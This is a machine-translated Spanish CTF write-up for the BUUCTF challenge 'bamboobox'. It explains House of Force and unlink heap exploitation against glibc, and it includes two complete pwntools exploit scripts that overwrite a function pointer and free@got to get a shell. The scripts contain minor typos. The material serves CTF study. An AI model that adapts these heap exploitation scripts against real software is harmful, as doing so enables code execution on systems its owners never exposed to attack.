[BUUCTF] PWN —— hitcontraining_bamboobox (Casa de la fuerza + desvincular)

hitcontraining_bamboobox

anexo

paso

  1. La inspección de rutina, el programa de 64 bits, canary y nx están habilitados
    Inserte la descripción de la imagen aquí

  2. Pruebe una ejecución de prueba local para ver la ejecución aproximada, el menú de apilamiento clásico y, de acuerdo con las indicaciones en la primera línea, se estima que hay una puerta trasera
    Inserte la descripción de la imagen aquí

  3. Se carga ida de 64 bits, suponiendo que hay una puerta trasera, la cadena de búsqueda realmente encontró la puerta trasera, pero de acuerdo con el hábito de buu, generalmente la bandera está en el directorio raíz, esta puerta trasera no debe usarse mucho, primero recuerde magic_addr = 0x400d49
    Inserte la descripción de la imagen aquí

  4. función main (), ejecutará v4 [1] cuando la entrada 5, v4 [1] sea la dirección de goodbye_message, si la ruta de la bandera de la puerta trasera es correcta, puede cambiar la dirección de goodbye_message a majic a través del método de casa Dirección de fuerza, puedes conseguir la bandera
    Inserte la descripción de la imagen aquí

  5. Analiza las funciones de cada función
    add ()
    Inserte la descripción de la imagen aquí
    edit ()
    Inserte la descripción de la imagen aquí
    show ()
    Inserte la descripción de la imagen aquí
    free () La
    Inserte la descripción de la imagen aquí
    función free no tiene un punto de uso.

Casa de la Fuerza

Usa ideas

  1. A través de house of force, mueva la dirección del fragmento superior a chunk0 donde se registra goodbye_messaged
  2. Solicite chunk nuevamente, podremos asignar chunk0
  3. Cambiar adiós_mensaje a dirección mágica
  4. Ingrese 5 para llamar a v4 [1] para obtener la bandera

Proceso de utilización

Para realizar la migración del fragmento superior,
primero cree un fragmento y depure para encontrar la ubicación del fragmento superior

add(0x30,'aaaa')
gdb.attach(p)

Inserte la descripción de la imagen aquí
Podemos ver que el desplazamiento de la parte superior a la parte 0 es -0x60, usando la técnica de la casa de la fuerza (ver ctfwiki para el método específico ). Hablaré brevemente sobre esta pregunta junto con ctfwiki

El motivo de House Of Force es que glibc procesa el fragmento superior. Durante la asignación del montón, si todos los bloques libres no pueden satisfacer la demanda, el tamaño correspondiente se dividirá del fragmento superior como el espacio del bloque del montón.

Primero, en glibc, se verifica el tamaño de la solicitud del usuario y el tamaño existente del fragmento superior

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

Sin embargo, si el tamaño se puede alterar a un valor grande, esta verificación se puede pasar fácilmente, por lo que necesitamos una laguna que pueda controlar el campo de tamaño del fragmento superior. Se analizó previamente que existe una vulnerabilidad de desbordamiento en la función de edición, que se puede utilizar para modificar el tamaño del fragmento superior.

El enfoque general es cambiar el tamaño del fragmento superior a -1, porque el tamaño se convertirá a un número sin signo 0xffffffffffffffff durante la comparación, por lo que -1 es el número más grande en unsigned long, por lo que se puede verificar de todos modos.

Echemos un vistazo a cómo operar esta pregunta. Echemos un vistazo a la distribución de memoria de los fragmentos.
Inserte la descripción de la imagen aquí
Usamos la vulnerabilidad de desbordamiento de edit para editar chunk0 para modificar el tamaño del fragmento superior.

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)

El efecto es el siguiente
Inserte la descripción de la imagen aquí

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

Después de eso, el puntero superior se actualizará aquí y el siguiente bloque de pila se asignará a esta ubicación. Siempre que el usuario controle este puntero, es equivalente a escribir cualquier valor en cualquier dirección (escribir cualquier cosa en cualquier lugar). Lo que tenemos que hacer en esta pregunta es actualizar el puntero superior a la posición de chunk0, de modo que el valor en chunk0 se pueda reescribir cuando malloc

Al mismo tiempo, debemos tener en cuenta que el tamaño de topchunk también se actualizará, y el método de actualización es el siguiente

victim = av->top;
size   = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

Por lo tanto, si queremos asignar un fragmento de tamaño x en la ubicación especificada la próxima vez, debemos asegurarnos de que el resto_size no sea menor que x + MINSIZE.

En esta pregunta, queremos actualizar el puntero del fragmento superior a chunk0 y calcular el desplazamiento0xfc7000-0xfc7060=-0x60

Además, el tamaño de memoria solicitado por el usuario se convierte en un entero sin signo una vez que ingresa a la función para solicitar memoria.

void *__libc_malloc(size_t bytes) {

Si desea que la entrada del usuario a través del tamaño interno de checked_request2sizeeste tamaño se puede obtener, a saber

/*
   Check if a request is so large that it would wrap around zero when
   padded and aligned. To simplify some other code, the bound is made
   low enough so that adding MINSIZE will also not wrap around zero.
 */

#define REQUEST_OUT_OF_RANGE(req)                                              \
    ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                                          \
    if (REQUEST_OUT_OF_RANGE(req)) {                                           \
        __set_errno(ENOMEM);                                                   \
        return 0;                                                              \
    }                                                                          \
    (sz) = request2size(req);

Por un lado, necesitamos omitir la prueba REQUEST_OUT_OF_RANGE (req), es decir, el valor que pasamos a malloc está en el rango de números negativos y no debe ser mayor que -2 * MINSIZE, esto es generalmente satisfactorio.

Por otro lado, después de satisfacer las restricciones correspondientes, necesitamos convertir request2size exactamente al tamaño correspondiente, es decir, necesitamos hacer ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~ MALLOC_ALIGN_MASK exactamente-60.
En primer lugar, obviamente, -60 está alineado por fragmentos, por lo que solo necesitamos restar SIZE_SZ y MALLOC_ALIGN_MASK para obtener el valor correspondiente que debe aplicarse.

No sé cuántas personas como yo pueden encontrar muchos sustantivos exclusivos que nunca antes habían encontrado al hacer montones. Aquí están las explicaciones sobre size_sze y MALLOC_ALIGN_MASK que obtuvo Baidu. En
primer lugar, lea glibc del sitio web de GNU . Descargue el código fuente y vea su archivo malloc.c.
Inserte la descripción de la imagen aquí
En la mayoría de los casos, el compilador y la biblioteca C lo ayudarán de manera transparente a lidiar con los problemas de alineación. POSIX indica que las direcciones devueltas por malloc (), calloc () y realloc () están alineadas para cualquier tipo C.
El tamaño del parámetro de alineación (MALLOC_ALIGNMENT) debe cumplir dos características: 1. Debe ser una potencia de 2 2. Debe ser un múltiplo entero de (void *)
En cuanto a por qué se requiere que sea un múltiplo entero de (void *) ), este es actualmente mi No está claro todavía, espere a que lo averigüe ...
De acuerdo con este principio, las unidades de alineación en 32 bits y 64 bits son 8 bytes y 16 bytes, respectivamente.

Por lo tanto, debemos omitir la macro request2size (req) para esta pregunta. Aquí, dado que -0x60 está alineado con 16 bytes, debemos restar SIZE_SZ (0x8) y MALLOC_ALIGN_MASK (0xf)
. El desplazamiento del puntero modificado es0xfc7000-0xfc7060-0x8-0xf

Después de obtener el desplazamiento, podemos migrar la dirección del fragmento superior a chunk0 de acuerdo con el desplazamiento malloc (chunk), y luego nuestro malloc puede obtener la dirección del chunk0 original, por lo que podemos reescribir chunk0

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)

Cambió con éxito el valor en chunk0 a la dirección de magia, y el resto es ingresar 5 para llamar a chunk0
Inserte la descripción de la imagen aquí

Exp completa

from pwn import *

#p=remote("node3.buuoj.cn",27403)
p=process("./bamboobox")
elf=ELF('./bamboobox')
context.log_level="debug"

def add(length,name):
	p.recvuntil(":")
	p.sendline('2')
	p.recvuntil(':')
	p.sendline(str(length))
	p.recvuntil(":")
	p.sendline(name)
 
def edit(idx,length,name):
	p.recvuntil(':')
	p.sendline('3')
	p.recvuntil(":")
	p.sendline(str(idx))
	p.recvuntil(":")
	p.sendline(str(length))
	p.recvuntil(':')
	p.sendline(name)
 
def free(idx):
	p.revcuntil(":")
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(idx))
 
def show():
	p.recvuntil(":")
	p.sendline("1")
 
magic = 0x400d49
 
add(0x30,'aaaa')
#gdb.attach(p)

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)
#gdb.attach(p)

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)
 
#gdb.attach(p)
 
p.interactive()

Inserte la descripción de la imagen aquí
Sé que la puerta trasera dada por buu es incorrecta, este método se puede abrir localmente, si la ruta de la bandera dada por la puerta trasera es correcta, funcionará.

El wp de otros maestros de Baidu dijo que la desvinculación se puede obtener a través del control remoto.
Referencia wp: https://www.cnblogs.com/luoleqi/p/12373298.html

Desconectar

Usa ideas

  1. Forja un trozo libre.
  2. Mueva el fragmento a la memoria donde se almacena el puntero del fragmento mediante desvinculación.
  3. Sobrescriba el puntero del fragmento 0 a la dirección de la tabla free @ got y fíjela.
  4. Sobrescriba la tabla free @ got con la dirección de la función del sistema.
  5. El contenido del fragmento solicitado es "/ bin / sh", llame a la función gratuita para obtener el shell.

Proceso de utilización

Primero, solicite aleatoriamente algunos fragmentos para ver el diseño.
Generalmente, el fragmento solicitado es (0x20 ~ 0x80). Dado que el mecanismo de asignación de malloc implica una alineación, me moveré para verificar el tamaño del fragmento asignado cada vez.

add(0x40,'a'*8 )
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')  #这个是用来后面free的,一开始调试的时候没有写,下面调试堆布局的时候没有这个chunk,影响不大

Inserte la descripción de la imagen aquí

Lo que tenemos que hacer es construir un fragmento falso en el fragmento 0 y establecer los punteros en ptr-0x18 y ptr-0x10 respectivamente, y al mismo tiempo dar al tamaño anterior del fragmento 1 el tamaño del fragmento falso, y establecer el inuse position of size a 0, para que esté libre Cuando el fragmento 1, el programa pensará erróneamente que el fragmento falso está libre, lo que activa la operación de desvinculación y establece el puntero ptr en ptr-0x18.

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)

Al observar el diseño de montón modificado, combinado con la imagen anterior, podemos encontrar que hemos falsificado un fragmento falso en chunk0, y
Inserte la descripción de la imagen aquí
luego liberamos el siguiente fragmento de montón chunk1. Fake_chunk y chunk1 se fusionan, fakechunk se desvincula y se modifica el valor de G_ptr. Después de eso, la dirección de chunk0 que editamos ya no es la dirección que ve el comando parseheap. Ahora la dirección de chunk0 es ptr = 0x6020c8-0x18

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)
edit(1,len(payload),payload1)

Mira el diseño del montón. En este momento, el contenido de chunk0 es free @ got.
Inserte la descripción de la imagen aquí
Primero usa show para imprimir la dirección free @ got, filtra libc y calcula la dirección del sistema. Cambia free @ got al sistema. solicite uno al principio. chunk, su contenido es '/ bin / sh', suéltelo para obtener el shell

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

add(0x20,'/bin/sh\x00')
free(3)

Exp completa

from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
r=remote('node3.buuoj.cn',29464)
elf=ELF('bamboobox')
context.log_level="debug"


def add(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(r)

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(r)

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(r)

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

#gdb.attach(r)


free(3)
r.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/114291792
Recomendado
Clasificación